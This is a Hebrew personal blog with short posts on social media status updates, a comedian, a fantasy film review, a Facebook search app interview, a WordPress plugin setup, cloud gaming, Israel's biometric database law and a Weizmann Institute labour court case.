המפגש יתקיים בשעה 19:30, בקפה הנרייטה, ארלוזרוב 186, תל אביב (5 דקות מרכבת מרכז, לטובת המגיעים מרחוק)
אם בכוונתכם לעזור באירגון הכנס השנה (גם אם אינכם מגיעים למפגש מחר), אנא מלאו את פרטיכם בטופס שבהמשך הפוסט, על מנת שנדע כיצד ליצור איתכם קשר (וגם שנדע קצת יותר עליכם). הפרטים שתמלאו יהיו גלויים למארגני הכנס בלבד.
ואם אתם בלוגרים או פעילי-רשת באופן כללי, אנא הפיצו את השמועה כך שמי שמעוניין לסייע ישמע על כך
להתראות מחר.
Loading…
12:01 כמה מילים על סטטוסים:
הסטטוספירה נכנסה לחיים של רבים מאיתנו כאן ברשת. הסטטוספירה היא כינוי לכל שירות שמאפשר לפרסם "שורת מצב (סטטוס)" על עצמינו. לרוב מדובר בשורה המוגבלת לכ- 140 תווים, והחלה מלשמש אנשים פרטיים ועברה גם להיות המדיום של ידוענים ואירגונים גדולים.
יש החושבים על הסטטוספירה כשילוב בין תוכנות מסרים-מידיים (כמו סקייפ, מסנג'ר, ICQ וכו'), לבין בלוגים (מיני בלוגים, אם להיות מדוייקים).
בעוד שיש אנשים המשווים שיחה בבלוג לשיחה שמתקיימת בהפסקת הצהריים - שיחה בגובה העיניים, עם פנאי, ועל כוס משקה טוב. יש המשווים את השיחה בסטטוסים לשיחת המתקיימת בין מספר אנשים שנתקלים במקרה ברחוב - עידכון קופצני, קצר, שיכול להסתיים בכל שניה כי "אני חייב לרוץ".
השיחות בסטטוספירה יכולות להתנהל על גבי האתר שמאכסן את השירות או דרך תוכנה שולחנית שמאפשרת לשלוף את המידע מהאתר ולהציג אותו עבורינו "בתנאים שלנו".
המלחמה - איפה תתנהל הסטטוספירה ?
על רקע זה, ישנם שני שירותים מקוונים אשר מקווים לתפוס בכורה על הסטטוספירה - טוויטר ופייסבוק.
עד כה, טוויטר איפשרה לכולם גישה למידע (הסטטוסים) וללא הגבלה. פייסבוק עשו את החיים קשים יותר למפתחים, אך לא עוד. בשבוע שעבר המלחמה עלתה דרגה שבה פייסבוק שיחררו API (אוסף פקודות המאפשרות למתכנתים גישה למידע שעל פייסבוק, בהתאם להרשאות המשתמש כמובן) - שיאפשר למתכנתים גישה ל"זרם הסטטוסים" (כלומר, למידע בזמן אמת על הסטטוסים).
"מה אפשר לעשות עם זה?" אתם שואלים, אז הנה דוגמא שהגיעה מבית הפיתוח החדשני של מייקרוסופט (כן, מייקרוסופט, זו שהדבר החדשני היחיד שהיא עשתה, שנתקלתי בו, בשנים האחרונות היה פוטוסינת'), שיחררה תוך כמה ימים (ובאמצעות הפלאטפורה שלה של סילבר-לייט), דוגמא לאפליקציה המשתמשת באפשרויות החדשות של פייסבוק. ובזכותו של טקקרנצ' אנו יכולים לראות סרטון המדגים זאת:
ומה לגבי כסף ?
זה גם מה ששאלו את גוגל כשהם נכנסו לעיסקי החיפוש. התשובה תהיה כנראה פירסום. איפה, מתי כמה ולמה - זה עוד שאלה פתוחה. האם נדע בקרוב? סביר שכן…
23:00 הרמונטיקאי שבתוכנו רוצה להזיז הרים ולבנות עולמות עבור האנשים שאנו אוהבים. בסרטון הבא (10 דקות) מוצג הסיפור הסייבר-רומנטי (ז'אנר שהרגע החלטתי להמציא) על אדם בעתיד (הלא רחוק) שעשה בדיוק את זה:
תודה לאחי האהוב רז על הלינק.
הקליפ מוקדש לדבורה, האישה שכל בוקר מציתה בי מחדש את הרצון לבנות עולם.
0:41 נירמו (הידוע בכינויו: ניר מולד) הוא ללא ספק וללא תחרות האיש הכי מצחיק שאי פעם הכרתי בחיי.
כבר הרבה זמן שרציתי לכתוב כמה מילים על נירמו, והנה הופעת הסטנדאפ שהוא התחיל לבצע לאחרונה (פרטים), סיפקה לי את התירוץ המושלם לפוסט זה.
על נירמו: את נירמו הכרתי בחסד ולא בזכות - אחי האהוב רז הכיר בינינו כשעוד הייתי צעיר מספיק כדי להסמיק למשמע המילה בול**ל. אך גם מבלי להידרש לשפה גסה מצליח נירמו להצחיק אותי בכל פעם שפגשתי אותו. נירמו מצליח לבטא את הגיחוך שבעולם באופן מבדר שאין כמוהו.
על ההומור: לאלו מכם שזו ההיכרות הראשונה שלכם עם ההומור של נירמו - מדובר בהומור אינ-טילי-גנטי. כלומר, זהו סוג ההומור שעוקבים אחריו, משתעשעים מהקצב, ואז לפתע נופל האסימון של הבדיחה באופן שלא משאיר ברירות מלבד לצחוק.
ההיכרות הראשונה שלי עם נירמו הייתה דווקא עם הקריקטורות שלו, הנה מספר דוגמיות:
הקומיקס
רוצים עוד? הנה עמוד הקריקטורות באתר נירמו. רוצים עוד יותר? תקנו את ספר הקומיקס שלו צלילי המוסאקה (אני קניתי בזמנו חמישה וחילקתי לחברים כמתנות יומהולדת)
ועכשיו נעבור לדבר על מופע הסטנדאפ החדש של נירמו -
"אנטי גיבור"
נירמו התחיל להופיע בסטנדאפ, כך נודע לי היום מהבלוג של אחי שוקי.
פרטי ההופעה: בהמשך החודש צפוי סבב הופעות נוסף של מופע הסטנד-אפ של הנ"ל: אנטי גיבור. הוא יופיע בנמל תל-אביב (מועדון שבלול, 24/5, 22:00) למי שרוצה להגיע הפרטים כאן.
דוגמיות מהמופע עלו ליוטיוב, אני אתחיל מלהמליץ לכם על סרטון קצר המספר על המצאת האיצטרובל (והשפה העברית, לא כך?) :
ואם אתם בעצם רוצים עוד, הנה כל מה שעוד עלה לרשת:
9:01 אני מפסיק את שידורינו הרגילים להודעה שהרגע נתגלתה לי. הסרט "מעוף הדרקונים" מופיע ביוטיוב. סרט שזכור לי עד היום משנותי כילד, ואחת ההתקלויות הראשונות שלי בעולם ה"מבוכים ודרקונים" שמאז ירשו אותו אינספור עולמות פנטזיה ומשחקים.
לפני הטמעת הסרט אני מצרף את סקירתם של ניר וזיו קיטרו (שנמצא דרך גוגל פה), תהנו:
"מעוף הדרקונים"
שנה: 1982
לפני שנים רבות כשהייתי קטן וחביב (כן, הייתה תקופה בא לא הילכתי אימים על האנושות כולה) הטלוויזיה הישראלית הייתה משדרת סרטים טובים. לא סתם טובים אלא ממש טובים. רצועת הסרטים הייתה ביום שלישי אחרי הצוהריים. אחד הסרטים היותר מפורסמים ששודרו במתכונת זו הוא הסרט "מעוף הדרקונים". הסרט היה הצלחה כזו גדולה שהוא שודר עוד פעמים רבות מאוד מאז אלא שלצערי בנקודה מסוימת איזה גאון אחד שעבד בטלוויזיה החינוכית החליט שהסרט הוא אנטישמי.
למה? כי לדמות של המכשף הרע יש אף גדול! כן, זו הסיבה. מטומטמת להחריד, לאנשים רבים בעולמנו יש אף גדול, לערן למשל יש אף ענק. יש לי רק שאלה אחת לאותו טמבל: אם זה סרט אנטישמי אז איך זה שהמכשף הטוב הוא בעל אף עוד יותר גדול? ובנוסף מדובר בסרט מאולפני וורנר-בראדרס, מה עושה את כל התירוץ הזה קלוש מאוד, מדובר בחברה גדולה ורצינית. אבל לצערי יש אנשים טיפשים…
אז, לאחר שפרקתי את תסכולי - "למה לנו לראות את הסרט", אתם שואלים? ובכן כי מדובר באחת מקלאסיקות הפנטזיה היותר קסומות שקיימות ולשמחתי חברת וורנר מוציאה את הסרט בהוצאה מחודשת בימים אלו ממש, מדליק לא?
מעוף הדרקונים מבוסס בחלקו על ספר שנכתב ע"י סופר צעיר ושמו פיטר דיקנסון. דיקנסון היה חולה דרקונים והוציא ספר או יותר נכון אנציקלופדיה על דרקונים. ספר זה הוא הבסיס לסרט המופלא הזה.
הסרט מתחיל בסצנה בה אנו מגלים את העולם הקסום והמופלא של "מעוף הדרקונים" . עולם, כך אנו מגלים, שאינו אלא עולמנו שלנו אך לפני שנים רבות. בתקופה בה אנו נכנסים לסרט הקסם מתחיל לשקוע והטכנולוגיה עולה. אמנם לא מדובר עדיין בחלליות או אפילו מכונית אבל בני האדם מסתמכים על טכנולוגיה יותר ויותר.
בתקופה זו שבה הקסם נחלש חיים ארבעה אחים- קרולינוס, לו-טאג'ל, סולאריוס ואומאדן - אחים אלו אינם סתם אחים כי אם המכשפים האחרונים והחזקים ביותר הקיימים בתבל וכל אחד מהם מייצג אספקט אחר של קסם.
האח הבכור, קרולינוס, מבחין בהיחלשות הקסם ומזמן את אחיו למועצה, מועצה שלא זומנה מזה מאות שנים. ארבעת האחים נפגשים שוב במקדש הקדמוניות, מקדש השייך לאל הקדמוניות, מקום אליו יכולים להגיע רק ארבעת אחי הקסם.
במקדש מראה קרולינוס לאחיו את מסקנותיו ואת הפתרון- ממלכת הקסם, מקום אליו יפרשו כל היצורים הקסומים על מנת שישמרו ולא יגוועו. בעוד סולאריוס ולו-טאג'ל מסכימים לפתרון ומציעים את עזרתם יוצא כנגדם אומאדן, המכשף האדום.
אומאדן, אשר ממלכתו כוללת את כל הרשע וכוחו הוא "הקסם השחור" מכריז על מסע צלב כנגד האנושות ונשבע בכתר האודם- מקור כוחו- שלעולם לא יפרוש אל עולם זה אשר קרולינוס מציעה, לא בעבור בני האדם.
בעוד אחיהם הרשע עוזב את המקדש מטכסים האחים עיצה ומוצאים את הפתרון- מסע קודש. הדרך היחידה החוקית להלחם נגד אומאדן ועושי דברו.
כאן מתחילה הרפתקה קסומה ומדהימה.
קרולינוס מגייס את גורבש, דרקונו הצעיר, את סר אורין נויל סמית' ועוד אחד שכן שלושה צריכים להתחיל את המסע המקודש. את השלישי, אומר קרולינוס, יבחר אל הקדמוניות. אכן אל הקדמוניות מוצא את הלוחם השלישי והוא לא אחר מאשר פיטר דיקנסון (הלא הוא כותב האנציקלופדיה) שהוא צאצאו הרחוק של פיטר "אדון הדרקונים" אשר לימד את הדרקונים את שפת בני האדם.
פיטר מזומן מתוך שלהי המאה ה-20 אל העבר הרחוק לקחת את מקומו לצד שאר היצורים הקסומים במלחמה על קיום הקסם כנגד אומאדן.
תאונה מצערת גורמת לפיטר לבעיה, כישוף נכשל של אומאדן מאחד את מוחו של איש המאה ה 20 עם גופו של גורבש הדרקון.
אני חושב שאחד הדברים היותר יפים שנוצרו בסרט הזה הוא המאבק שמתרחש בתוך פיטר. לא רק שעליו להתמודד עם העובדה שהוא עבר לעולם העתיק ושם כל יצורי חלומותיו מתקיימים אלא שהוא נמצא ממש בתוך דרקון. לא רק שעליו ללמוד את מנהגי התקופה הוא גם חייב להכיר את עולמם הקסום של הדרקונים.
כך -בהרפתקה מופלאה - יוצאים גיבורינו אל ממלכתו האפילה של אומאדן. לאורך הדרך הם מקבלים עזרה ויצורים קסומים נוספים מצטרפים אליהם: ננסים, זאב שטבע ושב לחיים, דרקון זקן ועתיר קרבות וקשתית יפיפייה ומסוכנת.
הרפתקה מלאה בקסם, בסכנות ובשנינות מדהימה. זהו אכן תענוג לראות את הנופים של העולם המוזר הזה הנפרש למול עינינו, לחוות את הצלילים של פס הקול שלוקח אותנו למקום רחוק מאוד וגורם לנו להאמין שקסם עדיין קיים.
מעוף הדרקונים מקבל 4 מתוך 6 נקודות. הוא מקסים, כיפי וקסום ויש בו כל מה שהרפתקן ורומנטיקן יכולים לבקש. אני ממש מקווה שתשיגו לכם עותק מהסרט. תבדקו אם נותרו עוד אנשים שהקליטו את הסרט ושמרו עותק נורמאלי (כמונו, J J) או שתנסו להזמין דרך האינטרנט עותק מההוצאה החדשה. אתם לא תתאכזבו.
עד כאן חוות הדעת של ניר וזיו (שאני מאמץ בשתי ידיים), לחצו להמשך הפוסט לצפייה בסרט מיוטיוב:
חלק 1:
חלק 2:
חלק 3:
חלק 4:
חלק 5:
חלק 6:
חלק 7:
חלק 8:
חלק 9:
חלק 10:
(כיצד המדען מנצח את המכשף)
חלק 11 (ואחרון) :
(הסוף הטוב)
14:17 בשיחת פייסבוק לפני זמן מה, הציג בפני ליאור לוין את המושג "סטטוס-פירה". באותו אופן שדיברנו בשנים האחרונות על "הבלוגוספירה" כעל הסביבה ה"אקולוגית" של הבלוגים והבלוגרים, הרי שהסטטוספירה היא הסביבה של עידכוני הסטטוס שאנשים משאירים בטוויטר ובפייסבוק.
(למוגבלי האינטרנט שבינינו - עידכון סטטוס אומר לכתוב משפט שמתאר מה שלומך, או משהו שאתה מתעסק בו. לאחר שכתבת את המשפט, הוא מתפרסם ברשת וכל מי שעוקב אחרי הפרופיל שלך יוכל לקרוא את העידכון. זה כמו עיתון אישי של "מה שלומי", שמופיע בדף אינטרנט מסויים. שלי, לדוגמא, מופיע כאן)
אז מלבד התגובה הראשונית של לצחוק על האנשים האלה עם הצורך המוזר לחשוף את עצמם לציבור: (כמו בלוגרים, אבל עם משפטים קצרים יותר)
הרי שאולי הגיע הזמן לחשוב על התופעה הזו מעבר לשיפוט הראשוני שמאפיין רבים מהאנשים שלא חיים ברשתות חברתיות.
עידכוני סטטוס של אנשים הם תופעה והם משאב. כמו שטק-קרנצ' כתבו בזמנו - אולי הגיע הזמן לחשוב על עידכוני סטטוס (כמו זה שמתבצע בטוויטר) כעל מנוע חיפוש על הדעות של אנשים (אומנם, תת אוכלוסיה של אנשים, אבל עדיין אנשים).
ובין אם אתם אנשי שיווק מקצועיים שמחפשים את הבאז הבא, או סתם מתעניינים במה חבריכם חשבו/כתבו על סרט מסויים, הרי שחיפוש בתוך סטטוסים יכול להיות עבורכם מכרה זהב של דעות.
אם אתם רוצים לחפש בטוויטר זה קל, עליכם פשוט ללכת למנוע החיפוש הפנימי בטוויטר: [search.twitter.com]
אבל מה אם אתם רוצים לחפש בסטטוסטים של חבריכם בפייסבוק? עד לאחרונה לא היה פתרון בנמצא. ועכשיו יש! אני מציג בפניכם את אפליקציית החיפוש בסטטוסים של חברים בפייסבוק: [apps.facebook.com]
משיחת פייסבוק עם ליאור (אחד היזמים מאחורי מנוע החיפוש), קיבלתי עוד כמה פרטי מידע מעניינים בנושא:
ראיון עם ליאור לוין על אפליקציית החיפוש לסטטוסים בפייסבוקטל: אז יש לך ככה בשלוף רעיונות למה שאפשר לעשות עם זה ?
ליאור:
ברור.
זה מנוע חיפוש בחברים שלך. זה קצת כמו דלבר אם אתה זוכר. רק שהם ניסוי לעשות משהו גרנדיוזי ואנחנו מסתמכים על הפלטפורמה של פייסבוק ובכך מוציאים את הרעיון המצוין הזה לפועל דיי בקלות.
יש אין סוף שאליתות חיפוש שאתה תעדיף לעשות על החברים שלך(המנוע חיפוש שלנו) מאשר בגוגל. לדוגמא:
1. לראות מי יוצא למסיבה הערב
2. לראות מי כתב בסטטוס שהוא הולך לאירוע שאתה הולך
3. למצוא המלצה לספר
4. לעשות חיפוש האם מישהו פירסם את הבלוג שלך או פירסם משהו עלייך
5. בא לך לטוס לפריז. תחפש מי מהחברים שלך טס לאחרונה ויכול לתת לך המלצות
6. בא לך לקרוא פוסטים של חברים. תעשה חיפוש שיביא לך סטטוסים עם קישורים לפוסטים שלהם.
7. רוצה רעיונות לפעיליות רומנטיות. תחפש בחברים שלך אם מישהו כתב משהו על הנושא
יש עוד אין סוף דוגמאות.
תראה את הטוויט הזה שמראה מה היו החיפושים הכי פופולארים במנוע חיפוש שלנו אתמול: [twitter.com]
טל: מדליק מאד, ואם לשאול שאלה גסה - איפה הכסף ?
ליאור: איפה הכסף? בדיוק איפה שהוא נמצא אצל גוגל. אנחנו סוג חדש של מנוע חיפוש ואנחנו יכולים לספק פרסומות מאוד ממוקדות ולהתקיים בדיוק מאותו מודל עסקי של גוגל.
טל: ושאלה אחרונה לסיום, למה אין לכם אתר אינטרנט ?
ליאור: לא הרגשתי צורך. יש לנו טוויטר, דף אודות של פייסבוק. אתה חושב שצריך עם כל הכלים האלה?
——————-
עד כאן לשיחתנו…
11:33 (הפוסט הזה מוקדש לאחייני האהוב יונתן)
בלייזר פירסמו כתבה מעניינת על שלושה חידושים רובוטיים שעושים את דרכם לעולמנו. אחד מהם הוא של בהמת מסע רובוטית העונה לשם "כלב גדול". תעזבו אותכם ממילים נוספות ופשוט תפעילו את היוטיוב:
"כלב גדול", מתוצרת Boston Dynamics, מתוכנן לסייע לצבא האמריקאי. הוא נראה כמו הרגליים שני אנשים שסוחבים קופסא גדולה, והוא מסוגל לסחוב משקלים גבוהים בתנאי שטח קשים: אדמת יער, מדרונים, חצץ, על חלוקי נחל, בשלג, בכביש חלק וכו'.
מעניין לראות לאיזה מהירויות יצליחו להביא את הדברים האלה ללכת, ובאיזה מהירות יצליחו להביא את הדברים האלה לשוק הפרטי…
0:23 (פוסט זה מוקדש לעומר פרצ'יק ששאל איך)
תזכורת למי שלא יודע מה זה שגוגל-חבר-חבר (Google Connect):
הרגע גיליתי שגוגל קונקט שיחררו פלאגין שמאפשר לבלוגרי וורדפרס להציע למשתמשים שלהם להתחבר למערכת התגובות דרך המערכת של גוגל-קונקט.
מדובר עוד בשירות לא בשל, אך שווה לתת עליו את העין.
אם אתם רוצים לנסות, הנה הצעדים (הצעדים באנגלית ):
1) תורידו את הקובץ, לגירסאות עתידיות תלכו ללינק הבא להורדת הקובץ: [code.google.com]
2) תוציאו ממנו את התיקיה src ותשנו את השם שלה ל - fc_plugin.
3) תפתחו את הקובץ fc_plugin.php ותבצעו שני שינויים:
3.1) הראשון הוא למצוא את השורה google.friendconnect.container.setParentUrl() ולוודא שהקישור שיש שם הוא לאיפה שהכנסתם את קבצי ה canvas.html שלכם. (אצלי זה בשורש, אז פשוט הכנסתי / )
3.2) תמצאו את הפונקציה fc_get_site_id - ותכניסו שם את ה- ID של האתר שלכם. (אני מצאתי אותו על ידי התחברות למערכת של גוגל קונקט, ובבחירת האתר שלי, אפשר לראות את ה- ID ב- URL - לינק)
4) תעלו את התיקיה לתקיית ה plugins של הבלוג שלכם ותפעילו את התוסף.
ייתרונות: בלחיצת כפתור, משתמשים יכולים להתחבר לאתר שלכם, לקבל משתמש, ולהשאיר תגובות מזוהות.
חסרונות: המערכת עולה יחסית לאט. כבלוגר, האימייל של המשתמשים שאני רואה הוא: username@friendconnect.google.com (שלחתי מייל לעצמי לקישור הזה, אני לא יודע לאן הוא הגיע). אני מניח שה- username@gmail.com הוא האימייל האמיתי של המשתמש, אבל זה נראה לי הסתבכות שאיננה מובנת (אולי בעתיד נבין)
התוצאה הסופית נראית כך:
21:42 הכתבה בווינט על אוןלייב (OnLive) תפסה את תשומת ליבי, וזה צריך לעניין גם אתכם.
אוןלייב מספקת שירותי "מיחשוב ענן" (cloud computing) לגיימרים, ומציעה להם לשלם דמי מנוי ולקבל גישה מהאינטרנט למשחקי המחשב החדשים והכבדים ביותר. המחשבים של אונלייב יריצו את המשחק אצלם בחוות המחשבים, ומקבלי השירות יצטרכו רק חיבור אינטרנט (כשרמת הווידיאו שמקבלים תלויה באיכות חיבור האינטרנט של השחקן).
בשלושת הסרטונים הבאים מוצגים דמו של המערכת ושני חלקים של ראיון עם אחד מאנשי הצוות של אוןלייב.
הדמו:
בראיון מוצגים כמה רעיונות מעניינים שמתאפשרים בזכות המערכת:
הנה הראיונות:
הסיפור של אוןלייב צריך לעניין אתכם גם אם אינכם גיימרים (אני, לדוגמא, נגמלתי ממשחקי מחשב, ולא מתכנן לחזור לכך בקרוב), וזאת משום שישנם שתי תעשיות שמובילות את העדר במה שקשור לטכנולוגיות: משחקים ופורנו. ואונלייב מציגה צעד נוסף בהעברת חיי המחשוב שלנו אל "הענן" (מה שכבר רובנו עושים בהתחברות לשירותי גוגל השונים, החל מג'ימייל, לוח-שנה וגוגל-מסמכים).
אני רואה בהשקה של און-לייב כסימן משמעותי נוסף לעתיד מתקרב של חיבור בין ה"מציאות מציאות" ל"מציאות המדומה" .
גם אם אתם לא גיימרים, אונלייב הוא סימן מרגש לבאות.
13:03 
(לקוח מהאתר המתנגד ל- חוק המאגר הביומטרי)
חוק המאגר הביומטרי (המכונה גם "חוק האח הענק") עבר קריאה ראשונה במליאה של 20 חברי כנסת, ומאז מנסים ליישם אותו בשטח תוך התעלמות מתהליכי חקיקה מסודרים.
לפי הצעת החוק, שאותה יזם משרד הפנים, יונפקו בישראל "תעודות זהות חכמות" הכוללות אמצעי זיהוי ביומטריים, ובהם טביעת אצבע ותמונות פנים ממוחשבות. בנוסף, החוק מורה על הקמת מאגר שיכלול את הנתונים הביומטריים של כל תושבי המדינה.
הקמת מאגר ביומטרי כזה תגרום לנזק בלתי הפיך ותפגע בזכות היסוד החוקתית לפרטיות:
1. החשש הגדול הוא מזליגה של נתונים לשוק הפרטי, לחברות מסחריות, לעבריינים, ואף לגורמים עוינים.
מרגע שהמאגר יוקם לא תהיה עוד דרך חזרה: נסיון העבר ממאגרים רגישים אחרים (מרשם האוכלוסין, למשל) מלמד
שכל הנסיונות לשמור על מאגר מאובטח נכשלים, ומאגרים כאלה מועדים להיפרץ או להיגנב.
2. קיימות שיטות רבות להקשות על זיוף תעודת זהות בלי להשתמש בנתונים ביומטריים. כרגע, קל יותר לזייף תעודת
זהות מאשר שטר חדש של 20 שקל. גם במדינות בהן הונהג זיהוי ביומטרי (גרמניה, למשל), הוא אינו מסתמך על מאגר
מרכזי (בין השאר כדי למנוע זיופים, האזנות ותקלות).
3. המאגר יוקם למטרה מוצהרת אחת בלבד: מניעת הנפקה של יותר מתעודת זהות אחת לאותו אדם (הרכשה כפולה). לא ברור עד כמה המאגר יכול להיות יעיל לצורך זה (למשל, חלק ממבצעי הפיגוע של 11 בספטמבר שיחדו פקידים כדי להשיג תעודות מזהות), אבל הנזק שבהקמתו ברור, ואין שום פרופורציה בינו לבין התועלת. מרגע שיוקם המאגר, אין מניעה שמטרותיו יורחבו בדיעבד, וייעשה בו שימוש למטרות אחרות באמצעות "חקיקה זוחלת".
4. עוד לפני שהסתיימה החקיקה, אנחנו עדים להקמת מאגר ביומטרי של רשות שדות התעופה במעבר טאבה, ובקרוב גם
במעבר הגבול בנהר הירדן ובנתב"ג. מדובר בפגיעה בחוק יסוד כבוד האדם וחרותו, ויש לפעול נגד הקמת "מאחזים
ביומטריים" אלה שמנסים לקבוע עובדות בשטח.
מדינה שמקימה מאגר ביומטרי של אזרחיה מתייחסת לנתוניהם פרטיים כאל הפקר. ישראל עתידה להיות המדינה המערבית הראשונה בה יוקם מאגר כזה, והיא תצטרף למדינות בהן זכויות אדם והזכות לפרטיות מופרות בדרך קבע: כווית, תימן, ופקיסטאן.
אזרחי מדינת ישראל עלולים למצוא עצמם מוטרדים, הופכים לעבריינים על לא עוול בכפם, לא מתקבלים לעבודה או לא מקבלים ביטוח בריאות. מידע אישי כמו משבר כלכלי, דיכאון אחרי לידה, התמוטטות נפשית ומחלה, עלול להיחשף בפני פקידי ממשל שונים, וכאמור - בפני חברות מסחריות, עבריינים וגורמים עוינים, ברגע שידלוף.
הלוואי שחוק "האח הענק" לא יעבור באופן פזיז, ללא בקרה או פיקוח, מבלי שייבחנו ההשלכות והסכנות הטמונות בתהליך, לפני שייבדקו חלופות, ובלי דיון ציבורי מקיף בנושא, מעל במת הכנסת ובאמצעי התקשורת.
20:12 לפני כ- 5 חודשים פירסמתי אודות התקרית האלימה במהלכה נשברה הברך של עובד גן המדע במכון וויצמן. התקרית הייתה על רקע סיכסוך עבודה: עובדי גן המדע במכון (גן המדע זה כמו מוזיאון מדע, אבל בחוץ) ביקשו לשפר את תנאי ההעסקה שלהם ולהתאגד כאירגון עובדים. הנהלת המכון מנעה מהעובדים התארגנות באמצעים שונים והעובדים יצאו למאבק בהנהלת הגן.
היום גיליתי שהמאבק הגיע לבסוף לבית הדין לעבודה בת"א, שם זכו פעילי הגן בתמיכת בית המשפט.
זאת פורסם בבלוג של הפורום להגנת ההשכלה הציבורית (ונלקחה מידיעה שפורסמה במקור בעוקץ).
אחד הדברים המצערים בסיפור היא שלאחר פסק הדין, הוציא פרופ' חיים זייפמן (נשיא מכון וייצמן) מכתב לעובדי המכון אשר מציג את מכון וויצמן כטהור ואת עובדי גן המדע כפורעי סדר - למרות שפסק הדין של בית המשפט היה שונה בתכלית.
לשם ההשוואה, הנה כמה דברים ממה שכתב פרופ' חיים זייפמן:
"אתמול אמר בית הדין את דברו, דחה את מרבית תביעותיהם של המדריכים וקבע כי קבוצת המדריכים הזו כלל אינה מייצגת את עובדי מכון דוידסון. כמו כן דחה בית הדין את תביעת המדריכים כי מכון דוידסון ינהל איתם משא ומתן על הסכם קיבוצי…..
בשורה התחתונה, ניסיונם של חלק מעובדי גן המדע לפגוע באווירת העבודה הטובה ובעשייה החינוכית, נדחה על ידי בית הדין לעבודה".
ולעומתם, הנה מספר דברים שנכתבו בפסק הדין. (כאמור, חלק זה נלקח מהאתר העוקץ)
אך כיוון שכאמור פסק הדין הוא ארוך מאד, אציג כאן רק כמה מן הקביעות העיקריות של פסק הדין המציגות את התנהלותו המכוערת של המכון והתנכלותו לזכויות אדם יסודיות.
המכון טען כי ארגון כוח לעובדים אינו יכול להיות מוכר כארגון עובדים מבלי לקבל קודם הכרה מבית הדין לעבודה. בית הדין קובע:
"כללו של דבר: מכל הטעמים לעיל, אנו דוחים את טענת המכון כי תנאי לפעילותו של ארגון עובדים מול מעביד הוא קבלת הכרה מבית הדין לעבודה למעמדו כארגון עובדים"
המכון טען כי ארגון כוח לעובדים אינו ארגון עובדים, בית הדין האזורי כותב:
"כללו של דבר: מחומר הראיות עולה כי ארגון עובדים כוח לעובדים מקיים את התנאים שנקבעו בפסיקה להכרה בו כארגון עובדים",
המכון טען כי זכותו לסרב לבקשת העובדים להיות מיוצגים על ידי ארגון עובדים ולנהל איתם משא ומתן. בית הדין האזורי קבע:
"לאחר בחינת טענות הצדדים, באנו לכלל מסקנה כי אין לקבל את עמדת המכון לפיה עומדת למעביד הזכות לסרב לבקשת העובדים להיות מיוצגים ביחסיהם עמו על ידי נציגות העובדים, וחובה עליו לנהל עם ארגון עובדים יציג הליך של הידברות והיוועצות."
שואל בית הדין:
" האם המכון נקט שלא כדין בפעולות שפגעו בזכות ההתארגנות? ועונה:
72. כעולה מהאמור לעיל, מצאנו כי המכון נקט פעולות שפגעו בזכות ההתארגנות כמפורט להלן:
72.1. המכון חסם את כרטיסי העובד של העובדים המאורגנים לאחר שנקטו פעולות מחאה לגיטימיות.
72.2. דר' רוני אשכנזי עובדת בכירה בגן המדע, ניסתה לשכנע את העובדים לפרוש מהתארגנות העובדים.
72.3. המכון נקט בפעולה של סירוב לקבל עבודה חלקית של העובדים המאורגנים, כאשר השיקול העיקרי שעמד מאחורי החלטה זו היה רצון לסכל את התארגנות העובדים ולא התמודדות עם נזקי השביתה.
72.4. המכון פעל להפסקת הייצוג המשפטי של עובדי גן המדע על ידי הקליניקה למשפט ורווחה שבאוניברסיטת תל אביב.
מעבר לאמור לעיל, נוסיף כי גם האיסור הגורף על העובדים המאורגנים להיכנס לחצרי גן המדע ומכון ויצמן החל מיום 2.11.08 היה פעולה שפגעה בזכות ההתארגנות, בניגוד להוראת סעיפים 33ח ו- 33ט לחוק הסכמים קיבוציים.
בית הדין מעניק מספר סעדים לעובדים:
"ניתן בזה צו הקובע כי המכון אינו רשאי לאסור על כניסתם של חברי ארגון כוח לעובדים ו/או נציגות עובדי גן המדע לגן המדע ולמכון ויצמן, לנוכח הוראות סעיפים 33ח ו- 33ט לחוק הסכמים קיבוציים. זאת, ללא קשר לשאלת מעמדו של ארגון כוח לעובדים כארגון עובדים יציג. מובהר, כי גם על המבקשים לפעול במסגרת החוק, וכניסת נציגי ארגון העובדים וועד העובדים צריכה להיעשות בהתחשב בצרכי העבודה ובצנעת הפרט"
"צו עשה קבוע המורה למשיב להשיב לאלתר את העובדים המאורגנים לעבודה ולשבצם לעבודה כרגיל: כאמור לעיל, קבענו כי סירוב המכון לקבל עבודה חלקית היה שלא כדין, ולכן כל עוד לא יחול שינוי בנסיבות על המכון לשבץ כרגיל את העובדים המאורגנים לעבודה, באורח שוויוני ביחס לעובדים האחרים הלא מאורגנים".
"צו מניעה קבוע המונע מהמשיב לפגוע בכל דרך שהיא בזכות ההתאגדות וההתארגנות של עובדי גן המדע: איננו רואים מקום לתת סעד גורף כזה חסר תוכן קונקרטי. עם זאת, מובהר כי על המשיב ועובדיו לכבד את זכות העובדים לחופש ההתאגדות, על כל המשתמע מכך"
" צו מניעה קבוע המונע מהמשיב להעסיק עובדים חלופיים, זמניים או קבועים, במקומם של העובדים המאורגנים, ובכלל זה צו המורה למשיב לחדול לאלתר מהעסקה כזאת:
כאמור לעיל, קבענו כי העסקת העובדים החלופיים הייתה שלא כדין, ומובהר כי ככל שיינקטו שיבושי עבודה נוספים המכון לא יהיה רשאי לקבל לעבודה עובדים חדשים במקום העובדים השובתים, בין כעובדים זמניים ובין כעובדים קבועים".
הנה המכתב המלא של פרופסור זייפמן (נשיא מכון וויצמן) :
Presidents Letter Verdict 2
חוסר הדיוק והנאמנות לרוח הדברים של פרופסור זייפמן מצערת אותי ביותר.
1:19 אחרי שהפנמנו שפייסבוק זה משחק תפקידים, עידו קיינן מפנה לסרטון (דרך רויטל סלומון ), המסביר להדיותות על הטוויטוספירה (והנה פוסט יותר רציני שכתבתי על מה זה טוויטר) :
14:25 כשהמטרה היא להשיג כמה שיותר "חברים". לבחור יש פואנטה:
12:43 לשאלה הזו אין לי תשובה טובה, לאחר שאני רואה את הידיעות בווינט ובהארץ:
החיילים מעידים על הרג אזרחים על לא עוול בכפם, על הרס סתמי, גירוש משפחות מבתים שנתפסו כמאחז ארעי, אטימות ביחס לחיי אדם ועל נטייה להתבהמות. ההתנהגות השערורייתית לא נבעה ממדיניות הפיקוד הבכיר, אך פרחה על רקע נתק בין הדרגים שממפקדי הגדודים ומעלה לבין המתרחש בפלוגות, במחלקות ובבתים שבהם נאחזו החיילים בהמתנה להמשך הלחימה, לאחר שחוליות החמאס נסוגו ונעלמו בשטח העירוני הצפוף. כשלא היה לחיילים במי להילחם, נלחמו במי שהיה.
הרהורים בנוגע למונח "דם על הידיים"
